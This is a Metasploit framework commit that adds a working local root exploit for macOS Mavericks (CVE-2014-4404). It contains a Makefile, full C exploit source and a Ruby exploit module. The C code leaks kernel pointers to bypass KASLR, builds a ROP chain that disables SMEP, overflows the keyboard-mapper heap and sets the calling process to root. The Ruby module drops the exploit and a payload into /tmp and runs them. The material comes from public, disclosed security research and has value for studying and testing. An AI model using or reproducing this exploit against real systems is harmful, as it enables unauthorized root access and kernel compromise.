Land #4263, @jvennix-r7's OSX Mavericks root privilege escalation

* Msf module for the Ian Beer exploit
bug/bundler_fix
jvazquez-r7 2014-11-30 21:13:07 -06:00
commit 7a2c9c4c0d
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
4 changed files with 477 additions and 0 deletions

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all: key_exploit
key_exploit: key_exploit.c
clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
install: key_exploit
install -m 755 key_exploit ../../../../data/exploits/CVE-2014-4404
clean:
rm -rf key_exploit
rm -rf key_exploit.dSYM

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//
// Source: https://code.google.com/p/google-security-research/issues/detail?id=126
// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html
// Exploit Author: Ian Beer
//
// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
uint64_t kernel_symbol(char* sym){
char cmd[1024];
strcpy(cmd, "nm -g /mach_kernel | grep ");
strcat(cmd, sym);
strcat(cmd, " | cut -d' ' -f1");
FILE* f = popen(cmd, "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
return offset;
}
uint64_t leaked_offset_in_kext(){
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
offset += 0x10; //offset from symbol to leaked pointer
return offset;
}
uint64_t leak(){
io_iterator_t iter;
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
kIOServicePlane,
CFSTR("AAPL,iokit-ndrv"),
kCFAllocatorDefault,
kIORegistryIterateRecursively);
if (CFGetTypeID(p) != CFDataGetTypeID()){
printf("expected CFData\n");
return 1;
}
if (CFDataGetLength(p) != 8){
printf("expected 8 bytes\n");
return 1;
}
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
return leaked;
}
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
uint64_t load_addr(){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: %p\n", name, addr);
break;
}
}
return addr;
}
uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){
uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;
uint64_t kernel_base = 0xffffff8000200000;
kernel_base += kaslr_slide;
int fd = open("/mach_kernel", O_RDONLY);
if (!fd)
return NULL;
struct stat _stat;
fstat(fd, &_stat);
size_t buf_len = _stat.st_size;
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
if (!buf)
return NULL;
/*
this stack pivot to rax seems to be reliably present across mavericks versions:
push rax
add [rax], eax
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
pivot = kernel_base + pivot_gadget_offset;
/*
mov rax, cr4
mov [rcx], rax
pop rbp
ret
*/
uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};
uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));
uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);
printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);
mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;
/*
mov cr4, rax
pop rbp
ret
*/
uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};
uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));
uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);
printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);
mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;
/*
pop rcx
ret
*/
uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};
uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));
uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);
printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);
pop_rcx = kernel_base + pop_rcx_gadget_offset;
/*
xor rax, rcx
pop rbp
ret
*/
uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};
uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));
uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);
printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);
xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;
/* need this to jump over the vtable index which will be called:
pop r15
pop rbp
ret
*/
uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};
uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));
uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);
printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);
pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;
munmap(buf, buf_len);
close(fd);
void* writable_scratch = malloc(8);
memset(writable_scratch, 0, 8);
uint64_t rop_stack[] = {
0, //pop r14
0, //pop r15
0, //pop rbp +10
pop_pop_ret,
0, //+20
pivot, //+28
pop_rcx,
(uint64_t)writable_scratch,
mov_rax_cr4,
0, //pop rbp
pop_rcx,
0x00100000, //SMEP bit in cr4
xor_rax_rcx, //flip it
0, //pop rbp
mov_cr4_rax, //write back to cr4
0, //pop rbp
payload //SMEP is now disabled so ret to payload in userspace
};
uint64_t* r = malloc(sizeof(rop_stack));
memcpy(r, rop_stack, sizeof(rop_stack));
*len = sizeof(rop_stack);
return r;
}
void (*IOLockUnlock) (void*);
int (*KUNCExecute)(char*, int, int);
void (*thread_exception_return)();
void* (*proc_ucred)(void*);
void* (*kauth_cred_get)();
void* (*kauth_cred_setuidgid)(void*, int, int);
void* (*current_proc)();
void rebase_kernel_payload(uint64_t kaslr_slide){
IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;
KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;
kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;
kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;
current_proc = kernel_symbol("_current_proc") + kaslr_slide;
}
// rather than working out the offset of p_ucred in the proc structure just get
// the code to tell us :)
// proc_ucred just does return arg->u_cred
uint64_t find_ucred_offset(){
uint64_t offsets[0x80];
for (int i = 0; i < 0x80; i++){
offsets[i] = i*8;
}
return proc_ucred(offsets);
}
// need to drop this IOLock:
// IOLockLock( _deviceLock);
// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock
// so need to call IOLockUnlock(rbx->_delegate->deviceLock)
void kernel_payload(){
uint8_t* this;
//__asm__("int $3");
__asm__("movq %%rbx, %0" : "=r"(this) : :);
//this now points to the IOHIKeyboardMapper
uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));
void* _device_lock = *((void**)(IOHIKeyboard+0x88));
IOLockUnlock(_device_lock);
// real kernel payload goes here:
//KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);
//thread_exception_return();
// get root:
uint64_t ucred_offset = find_ucred_offset();
void* old_cred = kauth_cred_get();
void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);
uint8_t* proc = current_proc();
*((void**)(proc+ucred_offset)) = new_cred;
thread_exception_return();
}
void trigger(void* vtable, size_t vtable_len, char* exe){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");
if(!matching){
printf("unable to create service matching dictionary\n");
return;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return;
}
printf("got service: %x\n", service);
char* bad_mapping = malloc(0x10000);
memset(bad_mapping, 0, 0x10000);
uint8_t bad_header[] = {
0x00, 0x01, // nmd.shorts = 1
0x00, 0x00, // numMods = 0
0x00, 0x00, // numDefs = 0
0x00, 0x90, // numSeqs = 0x90
};
memcpy(bad_mapping, bad_header, sizeof(bad_header));
uint8_t bad_seq[] = {
0x00, 0x02, // len
0x00, 0x78, 0x56, 0x00, // first entry
0x00, 0x00, 0x00, 0x00, // second entry
0xff, 0xff, // numMods
};
memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));
//need to overallocate and touch the pages since this will be the stack:
mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
memset(addr, 0, 0x20*0x1000);
memcpy((void*)0x5678000200, vtable, vtable_len);
/*
uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28);
*vtable_entry = 0x123456789abcdef0; // call this address in ring0
*/
CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);
err = IORegistryEntrySetCFProperty(
service,
CFSTR("HIDKeyMapping"),
data);
execve(exe, NULL, NULL);
}
int main(int argc, char** argv) {
if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); }
uint64_t leaked_ptr = leak();
uint64_t kext_load_addr = load_addr();
// get the offset of that pointer in the kext:
uint64_t offset = leaked_offset_in_kext(); //0x8cf0;
// sanity check the leaked address against the symbol addr:
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
return 1;
}
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
printf("kaslr slide: %p\n", kaslr_slide);
rebase_kernel_payload(kaslr_slide);
size_t vtable_len = 0;
void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);
trigger(vtable, vtable_len, argv[1]);
return 0;
}

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = ManualRanking # Can cause kernel crash
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
'Description' => %q{
A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
pointers can also be leaked, allowing a full kASLR bypass.
Tested on Mavericks 10.9.5, and should work on previous versions.
The issue has been patched silently in Yosemite.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
'joev' # copy/paste monkey
],
'References' =>
[
[ 'CVE', '2014-4404' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
# Heap overflow:
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
# kALSR defeat:
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
],
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
end
def check
if ver_lt(osx_ver, "10.10")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status("Writing exploit file as '#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)
print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status("Executing payload...")
cmd_exec("chmod +x #{exploit_file}")
cmd_exec("chmod +x #{payload_file}")
cmd_exec("#{exploit_file} #{payload_file}")
end
def osx_ver
cmd_exec("sw_vers -productVersion").to_s.strip
end
def ver_lt(a, b)
Gem::Version.new(a) < Gem::Version.new(b)
end
end